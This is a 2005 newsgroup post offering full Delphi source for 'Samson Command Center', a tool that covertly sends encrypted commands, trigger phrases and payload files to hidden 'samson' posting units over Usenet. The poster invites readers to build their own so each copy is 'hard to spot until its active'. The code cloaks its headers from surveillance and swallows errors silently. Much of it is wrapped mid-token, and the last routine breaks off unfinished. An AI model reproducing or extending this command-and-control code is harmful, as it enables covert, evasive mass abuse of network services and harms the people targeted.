Article View: alc.tools.misc
Article #69Samson a publication system source code
From: victim of crime
Date: Sun, 11 Dec 2005 16:29
Date: Sun, 11 Dec 2005 16:29
2687 lines
78122 bytes
78122 bytes
this contains the complete source for samson command center and flash posting program
have fun boys and girls, you write your own samson when you figure out how this works
that way each samson in unique and hard to spot until its active in posting mode when its already too late
The source is Delphi and should work with Delphi 5 or higher
it uses
DCPcrypt
A Delphi cryptographic component package
Written by David Barton (email davebarton@bigfoot.com)
http://www.hertreg.ac.uk/ss/
The Jedi Component library and INDY 9
program scc;
uses
Forms,
sunit1 in 'sunit1.pas' {MainForm},
snew in 'snew.pas' {NameDlg},
newserverform in 'newserverform.pas' {ServerForm},
password in 'password.pas' {PasswordDlg};
{$R *.res}
begin
Application.Initialize;
Application.CreateForm(TMainForm, MainForm);
Application.CreateForm(TNameDlg, NameDlg);
Application.CreateForm(TServerForm, ServerForm);
Application.CreateForm(TPasswordDlg, PasswordDlg);
Application.Run;
end.
unit snew;
interface
uses Windows, SysUtils, Classes, Graphics, Forms, Controls, StdCtrls,
Buttons;
type
TNameDlg = class(TForm)
Label1: TLabel;
SrvName: TEdit;
OKBtn: TButton;
CancelBtn: TButton;
private
{ Private declarations }
public
{ Public declarations }
end;
var
NameDlg: TNameDlg;
implementation
{$R *.dfm}
end.
object NameDlg: TNameDlg
Left = 739
Top = 282
BorderStyle = bsDialog
Caption = 'New Server Dialog'
ClientHeight = 93
ClientWidth = 233
Color = clBtnFace
ParentFont = True
OldCreateOrder = True
Position = poScreenCenter
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 8
Top = 9
Width = 93
Height = 13
Caption = 'Enter Server Name:'
end
object SrvName: TEdit
Left = 8
Top = 27
Width = 217
Height = 21
TabOrder = 0
end
object OKBtn: TButton
Left = 70
Top = 59
Width = 75
Height = 25
Caption = 'OK'
Default = True
ModalResult = 1
TabOrder = 1
end
object CancelBtn: TButton
Left = 150
Top = 59
Width = 75
Height = 25
Cancel = True
Caption = 'Cancel'
ModalResult = 2
TabOrder = 2
end
end
unit password;
interface
uses Windows, SysUtils, Classes, Graphics, Forms, Controls, StdCtrls,
Buttons;
type
TPasswordDlg = class(TForm)
Label1: TLabel;
Password: TEdit;
OKBtn: TButton;
CancelBtn: TButton;
private
{ Private declarations }
public
{ Public declarations }
end;
var
PasswordDlg: TPasswordDlg;
implementation
{$R *.dfm}
end.
object PasswordDlg: TPasswordDlg
Left = 730
Top = 428
BorderStyle = bsDialog
Caption = 'Password Dialog'
ClientHeight = 93
ClientWidth = 233
Color = clBtnFace
ParentFont = True
OldCreateOrder = True
Position = poScreenCenter
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 8
Top = 9
Width = 76
Height = 13
Caption = 'Enter password:'
end
object Password: TEdit
Left = 8
Top = 27
Width = 217
Height = 21
PasswordChar = '*'
TabOrder = 0
end
object OKBtn: TButton
Left = 70
Top = 59
Width = 75
Height = 25
Caption = 'OK'
Default = True
ModalResult = 1
TabOrder = 1
end
object CancelBtn: TButton
Left = 150
Top = 59
Width = 75
Height = 25
Cancel = True
Caption = 'Cancel'
ModalResult = 2
TabOrder = 2
end
end
unit newserverform;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TServerForm = class(TForm)
SrvName: TEdit;
Label1: TLabel;
OKBtn: TButton;
CancelBtn: TButton;
VersionEdit: TComboBox;
TwinEdit: TEdit;
PairCheck: TCheckBox;
procedure OKBtnClick(Sender: TObject);
procedure PairCheckClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
ServerForm: TServerForm;
implementation
{$R *.dfm}
procedure TServerForm.OKBtnClick(Sender: TObject);
begin
if VersionEdit.ItemIndex=-1 then
MessageDlg('You must specify the server version', mtError, [mbOK], 0)
else
begin
self.ModalResult:=mrOk;
// close;
end;
end;
procedure TServerForm.PairCheckClick(Sender: TObject);
begin
TwinEdit.Enabled:=PairCheck.Checked;
if TwinEdit.Enabled then TwinEdit.Color:=clWindow else
TwinEdit.Color:=clbtnface;
end;
end.
object ServerForm: TServerForm
Left = 194
Top = 207
Width = 242
Height = 189
Caption = 'New server name & version'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 8
Top = 9
Width = 93
Height = 13
Caption = 'Enter Server Name:'
end
object SrvName: TEdit
Left = 8
Top = 27
Width = 217
Height = 21
TabOrder = 0
end
object OKBtn: TButton
Left = 70
Top = 131
Width = 75
Height = 25
Caption = 'OK'
Default = True
TabOrder = 1
OnClick = OKBtnClick
end
object CancelBtn: TButton
Left = 150
Top = 131
Width = 75
Height = 25
Cancel = True
Caption = 'Cancel'
ModalResult = 2
TabOrder = 2
end
object VersionEdit: TComboBox
Left = 8
Top = 104
Width = 217
Height = 21
ItemHeight = 13
TabOrder = 3
Text = 'Version'
Items.Strings = (
'1'
'2'
'3'
'4')
end
object TwinEdit: TEdit
Left = 8
Top = 51
Width = 217
Height = 21
Color = clBtnFace
Enabled = False
TabOrder = 4
end
object PairCheck: TCheckBox
Left = 8
Top = 80
Width = 97
Height = 17
Caption = 'Server Pair'
TabOrder = 5
OnClick = PairCheckClick
end
end
unit sunit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, ExtCtrls, StdCtrls, DCPcrypt, SHA1, Blowfish,
JvAppStorage, JvAppXMLStorage, JvFormPlacement, JvComponent,
JvAppRegistryStorage, IdMessage, ICQClient, IdComponent, IdTCPConnection,
IdTCPClient, IdMessageClient, IdNNTP, IdBaseComponent, IdAntiFreezeBase,
IdAntiFreeze, LabelSpin, Grids, ValEdit, ToolWin, RMD160, Twofish,
Rijndael, RC6, RC5, RC2, Misty1, Mars, IDEA, Gost, Cast128;
type
TBuffer = array[0..8191] of byte;
TParams = packed record
case boolean of
true:(raw:TBuffer);
false:(
primary,
pVar,
window,
winVar,
polling,
pollVar,
newsgroups,
postings,
priming,
primeVar,
trigger,
triggerVar,
throttle,
throttleVar,
icqPoll,
icqPollVar,
icqWindow,
icqWindowVar,
cloakmsgsize,
payload:integer);
end;
TMainForm = class(TForm)
PageControl1: TPageControl;
TabMain: TTabSheet;
nntp: TIdNNTP;
IdAntiFreeze1: TIdAntiFreeze;
OpenDialog: TOpenDialog;
SaveDialog: TSaveDialog;
TabConfig: TTabSheet;
TabPaload: TTabSheet;
ToolBar3: TToolBar;
ToolButton9: TToolButton;
ToolButton10: TToolButton;
ToolBar4: TToolBar;
ToolButton13: TToolButton;
ToolButton14: TToolButton;
Panel1: TPanel;
PrimaryVariance: TLabelSpinEdit;
WindowVariance: TLabelSpinEdit;
PostingsProcessCount: TLabelSpinEdit;
PrimingVariance: TLabelSpinEdit;
TriggerVariance: TLabelSpinEdit;
PrimaryDelay: TLabelSpinEdit;
WindowPeriod: TLabelSpinEdit;
NGProcessCount: TLabelSpinEdit;
PrimingPeriod: TLabelSpinEdit;
TriggerPeriod: TLabelSpinEdit;
PayloadList: TListBox;
Throttle: TLabelSpinEdit;
ThrottleVariance: TLabelSpinEdit;
icq: TICQClient;
SLE: TValueListEditor;
SLV: TValueListEditor;
message: TIdMessage;
ToolBar5: TToolBar;
ConnectBtn: TToolButton;
UploadBtn: TToolButton;
ExitButton: TToolButton;
ToolButton8: TToolButton;
TabAbout: TTabSheet;
AboutMemo: TMemo;
PollingPeriod: TLabelSpinEdit;
PollingVariance: TLabelSpinEdit;
Label1: TLabel;
Label2: TLabel;
IcqWindowVariance: TLabelSpinEdit;
IcqWindowPeriod: TLabelSpinEdit;
IcqPollingPeriod: TLabelSpinEdit;
IcqPollingVariance: TLabelSpinEdit;
StoreReg: TJvAppRegistryStorage;
RegStorage: TJvFormStorage;
TabServersSCC: TTabSheet;
SCCE: TValueListEditor;
SCCV: TValueListEditor;
ToolBar6: TToolBar;
ToolButton20: TToolButton;
ToolButton21: TToolButton;
XMLStorage: TJvAppXMLFileStorage;
FileStorage: TJvFormStorage;
SaveButton: TToolButton;
ToolButton4: TToolButton;
LoadButton: TToolButton;
NewsHost: TLabeledEdit;
StaticText1: TStaticText;
PortID: TLabelSpinEdit;
LabeledEdit2: TLabeledEdit;
LabeledEdit3: TLabeledEdit;
TabCrypto: TTabSheet;
EHashKey: TEdit;
Oldkey: TEdit;
LCKey: TLabel;
LHashKey: TLabel;
LCipher: TLabel;
Bevel2: TBevel;
Progress: TProgressBar;
Newkey: TEdit;
Label3: TLabel;
Verifykey: TEdit;
Label4: TLabel;
DCP_blowfish1: TDCP_blowfish;
DCP_sha11: TDCP_sha1;
CAlgorithmLbl: TLabel;
CAlgorithmCBx: TComboBox;
HAlgorithmCBx: TComboBox;
HAlgorithmLbl: TLabel;
DCP_gost1: TDCP_gost;
DCP_idea1: TDCP_idea;
DCP_mars1: TDCP_mars;
DCP_misty11: TDCP_misty1;
DCP_rc21: TDCP_rc2;
DCP_rc51: TDCP_rc5;
DCP_rc61: TDCP_rc6;
DCP_rijndael1: TDCP_rijndael;
DCP_twofish1: TDCP_twofish;
OldCAlgorithmCBx: TComboBox;
OldHAlgorithmCBx: TComboBox;
Label5: TLabel;
Label6: TLabel;
TabCloaking: TTabSheet;
CloakingMessage: TMemo;
GroupBox1: TGroupBox;
NameEdit: TEdit;
ToolButton12: TToolButton;
ToolButton15: TToolButton;
ToolButton16: TToolButton;
Label7: TLabel;
OldkeyVerify: TEdit;
XReader: TLabeledEdit;
GroupBox2: TGroupBox;
subjectedit: TEdit;
GroupsButton: TToolButton;
StatusBar: TStatusBar;
IniStorage: TJvFormStorage;
ReplyEdit: TEdit;
UserName: TLabeledEdit;
PasswordEdit: TLabeledEdit;
Cloaked: TToolButton;
Flashed: TToolButton;
ToolButton3: TToolButton;
LogTab: TTabSheet;
Log: TMemo;
procedure FormCreate(Sender: TObject);
procedure deleteSamsonClick(Sender: TObject);
procedure ToolButton13Click(Sender: TObject);
procedure SLESelectCell(Sender: TObject; ACol, ARow: Integer;
var CanSelect: Boolean);
procedure ExitButtonClick(Sender: TObject);
procedure ConnectBtnClick(Sender: TObject);
procedure SaveSLEClick(Sender: TObject);
procedure SCCESelectCell(Sender: TObject; ACol, ARow: Integer;
var CanSelect: Boolean);
procedure NewPayload(Sender: TObject);
procedure UploadBtnClick(Sender: TObject);
procedure SCCVStringsChange(Sender: TObject);
procedure SLVStringsChange(Sender: TObject);
procedure ValueChange(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure ToolButton12Click(Sender: TObject);
procedure ToolButton10Click(Sender: TObject);
procedure SCCNewsServers(Sender: TObject);
procedure ToolButton15Click(Sender: TObject);
procedure ToolButton16Click(Sender: TObject);
procedure SCCDeleteClick(Sender: TObject);
procedure VerifykeyChange(Sender: TObject);
procedure OldkeyVerifyChange(Sender: TObject);
procedure PortIDChange(Sender: TObject);
procedure XReaderChange(Sender: TObject);
procedure NewsHostChange(Sender: TObject);
procedure nntpConnected(Sender: TObject);
procedure nntpDisconnected(Sender: TObject);
procedure SaveButtonClick(Sender: TObject);
procedure LoadButtonClick(Sender: TObject);
procedure GroupsButtonClick(Sender: TObject);
procedure nntpNewGroupsList(const ANewsgroup: String; const ALow,
AHigh: Integer; const AType: String; var ACanContinue: Boolean);
procedure FlashedClick(Sender: TObject);
procedure CloakedClick(Sender: TObject);
procedure LogDblClick(Sender: TObject);
private
{ Private declarations }
CloakSize:integer;
count: integer;
FileLoaded: boolean;
Filename: string;
public
{ Public declarations }
ServerList:TStrings;
alpha: byte;
alphadir: boolean;
procedure KeyCheck;
end;
var
Terminate:Boolean;
Uploading:Boolean;
var
MainForm: TMainForm;
implementation
uses snew, newserverform, password;
{$R *.dfm}
procedure TMainForm.FormCreate(Sender: TObject);
var i:integer;
begin
ServerList:=TStringList.Create;
//TStringList(ServerList).Sorted:=true;
FileName:=ExtractFilePath(Paramstr(0))+'samng.list';
// Caption:=FileName;
ServerList.LoadFromFile(FileName);
if ServerList.Count>0 then GroupsButton.Hint:='List loaded sucessfully';
iniStorage.StoredValues.Items[0].Value:=FileName;
SLE.Strings.NameValueSeparator:='^';
SCCE.Strings.NameValueSeparator:='^';
//VLE.Strings.NameValueSeparator:=';';
for i:= 0 to ComponentCount-1 do // cycle through all the form components add the
begin // appropriate components to the combo boxes
if Components[i] is TDCP_blockcipher then
begin
CAlgorithmCBx.Items.AddObject(TDCP_blockcipher(Components[i]).Algorithm,Components[i]);
OldCAlgorithmCBx.Items.AddObject(TDCP_blockcipher(Components[i]).Algorithm,Components[i]);
end
else if Components[i] is TDCP_hash then
begin
HAlgorithmCBx.Items.AddObject(TDCP_hash(Components[i]).Algorithm,Components[i]);
OldHAlgorithmCBx.Items.AddObject(TDCP_hash(Components[i]).Algorithm,Components[i]);
end;
if Components[i] is TLabelSpinEdit then
TLabelSpinEdit(Components[i]).Tag:=TLabelSpinEdit(Components[i]).Value;
end;
CAlgorithmCBx.ItemIndex:= 0; // set the first item as the default
HAlgorithmCBx.ItemIndex:= 0;
OldCAlgorithmCBx.ItemIndex:= 0; // set the first item as the default
OldHAlgorithmCBx.ItemIndex:= 0;
end;
procedure TMainForm.deleteSamsonClick(Sender: TObject);
begin
if MessageDlg('Warning'+#13+#10+'Deleting control parameters can render control of the samson '+
#13+#10+'unit impossible resulting in triggering of the unit'+#13+#10+
'Do you want to continue?', mtWarning, [mbOK,mbCancel], 0)
in [mrOk] then
begin
if (sle.row >=0) then
sle.DeleteRow(sle.Row) else MessageDlg('Nothing selected to delete', mtError, [mbOK], 0);
end; //wow
end;
procedure TMainForm.ToolButton13Click(Sender: TObject);
begin
if ServerForm.ShowModal=mrOk then
begin
if ServerForm.PairCheck.Checked then
case ServerForm.VersionEdit.ItemIndex of
0: SLE.Strings.Add('Pair_'+ServerForm.SrvName.Text+'^First='+ServerForm.SrvName.Text+
',Second='+ServerForm.TwinEdit.Text+',Host_A=,Host_B=,Password_A=,Password_B=,Port=119,Key=,XKey1=,Xkey2=,Pass
phrase=,'+
'Trigger_Phrase=,Version=1');
1: SLE.Strings.Add('Pair_'+ServerForm.SrvName.Text+'^First='+ServerForm.SrvName.Text+
',Second='+ServerForm.TwinEdit.Text+',Host_A=,Host_B=,Password_A=,Password_B=,Port=119,Key=,XKey1=,Xkey2=,Pass
phrase=,'+
'Trigger_Phrase=,Trigger_Subject=,Warn_Email=,Warn_Email_2=,Version=2');
2: SLE.Strings.Add('Pair_'+ServerForm.SrvName.Text+'^First='+ServerForm.SrvName.Text+
',Second='+ServerForm.TwinEdit.Text+',Host_A=,Host_B=,Password_A=,Password_B=,Port=119,Key=,XKey1=,Xkey2=,Pass
phrase=,'+
'Trigger_Phrase=,Trigger_Subject=,Trigger_ICQ_UID=,ICQ_UID_A=,ICQ_Password_A=,ICQ_UID_B=,ICQ_Password_B=,'+
'Warn_Email=,Warn_Email_2=,Version=3');
end else
case ServerForm.VersionEdit.ItemIndex of
0: SLE.Strings.Add(ServerForm.SrvName.Text+'^Host=,Password=,Port=119,Key=,Passphrase=,'+
'Trigger_Phrase=,Version=1');
1: SLE.Strings.Add(ServerForm.SrvName.Text+'^Host=,Password=,Port=119,Key=,Passphrase=,'+
'Trigger_Phrase=,Trigger_Subject=,Warn_Email=,Warn_Email_2=,Version=2');
2: SLE.Strings.Add(ServerForm.SrvName.Text+'^Host=,Password=,Port=119,Key=,Passphrase=,'+
'Trigger_Phrase=,Trigger_Subject=,Trigger_ICQ_UID=,ICQ_UID=,Password=,'+
'Warn_Email=,Warn_Email_2=,Version=3');
end;
end;
end;
procedure TMainForm.SLESelectCell(Sender: TObject; ACol, ARow: Integer;
var CanSelect: Boolean);
begin
SLV.Strings.CommaText:= SLE.Strings.Values
[SLE.Strings.Names
[ARow-1]];
end;
procedure TMainForm.ExitButtonClick(Sender: TObject);
begin
close;
end;
procedure TMainForm.ConnectBtnClick(Sender: TObject);
begin
if nntp.Connected then nntp.Disconnect else
nntp.Connect;
end;
procedure TMainForm.SaveSLEClick(Sender: TObject);
begin
Try
if SaveDialog.Execute then
SLE.Strings.SaveToFile(SaveDialog.FileName);
except
end;
end;
procedure TMainForm.SCCESelectCell(Sender: TObject; ACol, ARow: Integer;
var CanSelect: Boolean);
begin
SCCV.Strings.CommaText:= SCCE.Strings.Values
[SCCE.Strings.Names
[ARow-1]];
end;
procedure TMainForm.NewPayload(Sender: TObject);
begin
OpenDialog.DefaultExt:='*';
if OpenDialog.Execute then
PayLoadList.Items.Add(OpenDialog.FileName);
end;
procedure TMainForm.UploadBtnClick(Sender: TObject);
var header,data,text:string; l,q:integer;
var
Source, Dest: file;
Buffer: TParams;
Hash: TDCP_sha1;
HashDigest,
OldHashDigest: array[0..31] of byte;
OldEncrypt,Encrypt: TDCP_blockcipher;
Read: integer;
nvs:string;
//this function gets round a typecast failure
function raw(i:integer):integer;
begin
result:=buffer.raw[i];
end;
begin
nvs:=message.ExtraHeaders.namevalueseparator;
message.Clear;
message.Subject:=SubjectEdit.Text;
message.Body.Assign(cloakingMessage.Lines);
message.From.DisplayName:=nameEdit.Text;
message.From.Address:=ReplyEdit.Text;
CloakSize:=length(message.Body.Text);
// crypto procedure
FillChar(Buffer,Sizeof(Buffer),$00);
FillChar(HashDigest,Sizeof(HashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire digest
FillChar(OldHashDigest,Sizeof(OldHashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire
digest
Hash:= TDCP_sha1.Create(Self);
// hash the new passphrase
Hash.Init;
Hash.UpdateStr(Newkey.Text); // hash the passphrase to get the key
Hash.Final(HashDigest);
// hash the old passphrase
Hash.Init;
Hash.UpdateStr(Oldkey.Text); // hash the passphrase to get the key
Hash.Final(OldHashDigest);
Hash.Free;
data:='';
OldEncrypt:= TDCP_blockcipher(OldCAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]); // get the component from
the combo box
OldEncrypt.Init(OldHashDigest,Sizeof(OldHashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
automatically
(note: size in bits ie. sizeof(x)*8)
OldEncrypt.EncryptCBC(OldHashDigest,OldHashDigest,Sizeof(HashDigest)); // encrypt the hash and write it to the file to
use as passphrase
OldEncrypt.Reset;
for l:=0 to sizeof(oldhashDigest)-1 do
data:=Data+intToHex(OldHashDigest[l],2); // confirmation
//encrypt the new password;
Text:=Newkey.Text;
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
data:=Data+intToHex(Buffer.raw[l],2); // confirmation
//encrypt the new Algorithim;
Text:=CAlgorithmCBx.Text;
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
data:=Data+intToHex(Buffer.raw[l],2); // confirmation
//encrypt the new Hash Algo;
Text:=HAlgorithmCBx.Text;
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
data:=Data+intToHex(Buffer.raw[l],2); // confirmation
// add the whole lot to the x-samson header
// first cloak the header so echelon cant find it easy
text:='samson';
Header:='X-';
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
Header:=Header+intToHex(Buffer.raw[l],2); // confirmation
// message.Headers.Add(header+'='+data);
message.ExtraHeaders.Add(header+nvs+data);
OldEncrypt.Reset;
// now we move to the new algorithm
Encrypt:= TDCP_blockcipher(CAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]); // get the component from the
combo box
Encrypt.Init(HashDigest,Sizeof(HashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
automatically (note: size in
bits ie. sizeof(x)*8)
Header:='X-';
Text:='params';
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
Header:=Header+intToHex(Buffer.raw[l],2); // confirmation
// do the params
Buffer.primary:=primarydelay.value;
Buffer.pVar:=primaryVariance.value;
Buffer.window:=WindowPeriod.Value;
Buffer.winVar:=WindowVariance.Value;
Buffer.polling:=PollingPeriod.Value;
Buffer.pollVar:=PollingVariance.Value;
Buffer.newsgroups:=NGProcessCount.Value;
Buffer.postings:=PostingsProcessCount.Value;
Buffer.priming:=PrimingPeriod.Value;
Buffer.primeVar:=PrimingVariance.Value;
Buffer.trigger:=TriggerPeriod.Value;
Buffer.triggerVar:=TriggerVariance.Value;
Buffer.throttle:=Throttle.Value;
Buffer.throttleVar:=ThrottleVariance.Value;
Buffer.icqPoll:=icqpollingPeriod.Value;
Buffer.icqPollVar:=icqpollingVariance.Value;
Buffer.icqWindow:=IcqWindowPeriod.Value;
Buffer.icqWindowVar:=IcqWindowVariance.Value;
encrypt.EncryptCBC(buffer,buffer,20*sizeof(integer));
data:='';
for l:=0 to (20*sizeof(integer))-1 do
Data:=Data+intToHex(raw(l),2); // confirmation
message.ExtraHeaders.Add(Header+nvs+data);
// encrypt the payload
// add the payload at the end of the cloaking message as hex strings
for l:=0 to scce.Strings.Count-1 do
begin
try
SCCV.Strings.CommaText:= SCCE.Strings.ValueFromIndex[l];
NNTP.Host:=SCCV.Values['HOST'];
for Q:=0 to SCCV.Strings.Count-1 do
begin
try
if SCCV.Strings.Names[q]='newsgroup' then
begin
Message.NewsGroups.Clear;
Message.NewsGroups.Add(SCCV.Strings.ValueFromIndex[Q]);
nntp.Post(Message);
end;
except
// just keep it quiet
end;
end;
except
// nevermind the verbose fail silently
end;
end;
end;
procedure TMainForm.SCCVStringsChange(Sender: TObject);
begin
if MainForm.ActiveControl=SCCV then
SCCE.Strings.Values
[SCCE.Strings.Names
[SCCE.Row-1]]:=SCCV.Strings.CommaText;// .Text;
end;
procedure TMainForm.SLVStringsChange(Sender: TObject);
begin
if MainForm.ActiveControl=SLV then
SLE.Strings.Values
[SLE.Strings.Names
[SLE.Row-1]]:=SLV.Strings.CommaText;// .Text;
end;
procedure TMainForm.ValueChange(Sender: TObject);
begin
with sender as TlabelSpinEdit do
begin
if value<>tag then
color:=clskyblue else color:=clwhite;
end;
end;
procedure TMainForm.FormActivate(Sender: TObject);
var i:integer;
begin
for i:= 0 to ComponentCount-1 do // cycle through all the form components add the
if Components[i] is TLabelSpinEdit then
begin
TLabelSpinEdit(Components[i]).Tag:=TLabelSpinEdit(Components[i]).Value;
ValueChange(Components[i]);
end;
VerifyKeyChange(nil);
OldKeyVerifyChange(nil);
end;
procedure TMainForm.ToolButton12Click(Sender: TObject);
begin
if MessageDlg('', mtWarning, [mbYes,mbNo], 0) = mrYes then
Payloadlist.Clear;
end;
procedure TMainForm.ToolButton10Click(Sender: TObject);
begin
Payloadlist.Items.Delete(PayLoadList.ItemIndex);
end;
procedure TMainForm.SCCNewsServers(Sender: TObject);
begin
if NameDlg.ShowModal=mrOk then
SCCE.Strings.Add(NameDLG.SrvName.Text+'^Host=,Username=,Password=,'+
'Port=,Sender=scc,SenderAddress=scc@samson.net,'+
'newsgroup=borland.offtopic');
end;
procedure TMainForm.ToolButton15Click(Sender: TObject);
begin
SCCV.Strings.Add('newsgroup=borland.offtopic');
SCCVStringsChange(sender);
end;
procedure TMainForm.ToolButton16Click(Sender: TObject);
begin
if sccv.Keys[sccv.Row]='newsgroup' then
if MessageDlg('Confirm delete action', mtConfirmation, [mbYes,mbNo], 0) = mrYes then
if sccv.row>0 then SCCV.Strings.Delete(sccv.Row-1);
SCCVStringsChange(sender);
end;
procedure TMainForm.SCCDeleteClick(Sender: TObject);
begin
if scce.row> 0 then if MessageDlg('This action cannot be undone'+#13+#10+'are you sure?', mtWarning, [mbYes,mbNo], 0)
= mrYes then
begin
Scce.DeleteRow(scce.Row);
SCCV.Strings.Clear;
end;
end;
procedure TMainForm.VerifykeyChange(Sender: TObject);
var L:integer;
begin
if verifykey.Text <> newkey.Text then verifykey.Color:=clred else verifykey.color:=clwindow;
L:=length(NewKey.text);
case l of
0..16:newkey.Color:=$008888FF;
17..32:newkey.Color:=$0080FFFF;
else
NewKey.Color:=clLime;
end;
keycheck;
end;
procedure TMainForm.OldkeyVerifyChange(Sender: TObject);
begin
if oldkey.Text <> oldkeyverify.Text then oldkeyverify.color:=clred else oldkeyverify.Color:=clwindow;
// if length(oldkey.text)<16 then Oldkey.Color:=$0080FFFF else Oldkey.color:=clWindow;
keycheck;
end;
procedure TMainForm.PortIDChange(Sender: TObject);
begin
nntp.Port:=portid.value;
end;
procedure TMainForm.KeyCheck;
begin
if oldkey.Text=newkey.text then Caption:='Warning old and new keys are identical'
else caption:='Samson Command Center Version 3 for Windows NT';
end;
procedure TMainForm.XReaderChange(Sender: TObject);
begin
NNTP.NewsAgent:=XReader.Text;
end;
procedure TMainForm.NewsHostChange(Sender: TObject);
begin
nntp.Host:=Newshost.Text;
end;
procedure TMainForm.nntpConnected(Sender: TObject);
begin
connectbtn.Caption:='Disconnect';
uploadBtn.Visible:=true;
end;
procedure TMainForm.nntpDisconnected(Sender: TObject);
begin
ConnectBtn.Caption:='Connect';
uploadBtn.Visible:=false;
end;
procedure TMainForm.SaveButtonClick(Sender: TObject);
var Stream:TMemoryStream;
Crypto: TDCP_blockcipher;
Hash: TDCP_sha1;
HashDigest: array[0..31] of byte;
begin
SaveDialog.FileName:=XmlStorage.FullFileName;
SaveDialog.FilterIndex:=4;
if SaveDialog.Execute then
begin
FileStorage.SaveFormPlacement;
Stream:=TmemoryStream.Create;
XmlStorage.Xml.SaveToStream(Stream);
// get the password
if PasswordDlg.showModal=mrOk then
begin
// do the crypto
Hash:=TDCP_Sha1.Create(self);
Crypto:=TDCP_Blowfish.Create(self);
FillChar(HashDigest,Sizeof(HashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire digest
Hash.Init;
Hash.UpdateStr(PasswordDlg.Password.text); // hash the passphrase to get the key
Hash.Final(HashDigest);
Crypto.Init(HashDigest,Sizeof(HashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
automatically (note: size in
bits ie. sizeof(x)*8)
Crypto.EncryptCBC(Stream.Memory^,Stream.Memory^,Stream.Size);
Crypto.Free;
Hash.Free;
// save the file
Stream.SavetoFile(SaveDialog.FileName);
end;
Stream.Free;
end;
end;
procedure TMainForm.LoadButtonClick(Sender: TObject);
var Stream:TMemoryStream;
Crypto: TDCP_blockcipher;
Hash: TDCP_sha1;
HashDigest: array[0..31] of byte;
begin
OpenDialog.FilterIndex:=0;
if OpenDialog.Execute then
begin
Stream:=TmemoryStream.Create;
Stream.LoadFromFile(OpenDialog.FileName);
// get the password
if PasswordDlg.showModal=mrOk then
begin
// do the crypto
Hash:=TDCP_Sha1.Create(self);
Crypto:=TDCP_Blowfish.Create(self);
FillChar(HashDigest,Sizeof(HashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire digest
Hash.Init;
Hash.UpdateStr(PasswordDlg.Password.text); // hash the passphrase to get the key
Hash.Final(HashDigest);
Crypto.Init(HashDigest,Sizeof(HashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
automatically (note: size in
bits ie. sizeof(x)*8)
Crypto.DecryptCBC(Stream.Memory^,Stream.Memory^,Stream.Size);
Crypto.Free;
Hash.Free;
end;
XmlStorage.Xml.LoadFromStream(Stream);
FileStorage.RestoreFormPlacement;
end;
end;
procedure TMainForm.GroupsButtonClick(Sender: TObject);
begin
if not nntp.Connected then
begin
Statusbar.Panels[2].Text:='Offline, Please connect first';
exit;
end;
ServerList.Clear;
NNTP.GetNewsgroupList;
TStringList(ServerList).Sort;
Count:=0;
end;
procedure TMainForm.nntpNewGroupsList(const ANewsgroup: String; const ALow,
AHigh: Integer; const AType: String; var ACanContinue: Boolean);
begin
if AType<>'n' then ServerList.Add(ANewsGroup);
ACanContinue:=true;
Inc(Count);
StatusBar.Panels[1].Text:='Records loaded:'+intToStr(Count);
end;
procedure TMainForm.FlashedClick(Sender: TObject);
var header,data,text:string; l,q:integer;
var
Source, Dest: file;
Buffer: TParams;
Hash: TDCP_sha1;
HashDigest,
OldHashDigest: array[0..31] of byte;
OldEncrypt,Encrypt: TDCP_blockcipher;
Read: integer;
nvs:string;
//this function gets round a typecast failure
function raw(i:integer):integer;
begin
result:=buffer.raw[i];
end;
begin
nvs:=message.ExtraHeaders.namevalueseparator;
message.Clear;
message.Subject:=SubjectEdit.Text;
message.Body.Assign(cloakingMessage.Lines);
message.From.DisplayName:=nameEdit.Text;
message.From.Address:=ReplyEdit.Text;
CloakSize:=length(message.Body.Text);
// crypto procedure
FillChar(Buffer,Sizeof(Buffer),$00);
FillChar(HashDigest,Sizeof(HashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire digest
FillChar(OldHashDigest,Sizeof(OldHashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire
digest
Hash:= TDCP_sha1.Create(Self);
// hash the new passphrase
Hash.Init;
Hash.UpdateStr(Newkey.Text); // hash the passphrase to get the key
Hash.Final(HashDigest);
// hash the old passphrase
Hash.Init;
Hash.UpdateStr(Oldkey.Text); // hash the passphrase to get the key
Hash.Final(OldHashDigest);
Hash.Free;
data:='';
OldEncrypt:= TDCP_blockcipher(OldCAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]); // get the component from
the combo box
OldEncrypt.Init(OldHashDigest,Sizeof(OldHashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
automatically
(note: size in bits ie. sizeof(x)*8)
OldEncrypt.EncryptCBC(OldHashDigest,OldHashDigest,Sizeof(HashDigest)); // encrypt the hash and write it to the file to
use as passphrase
OldEncrypt.Reset;
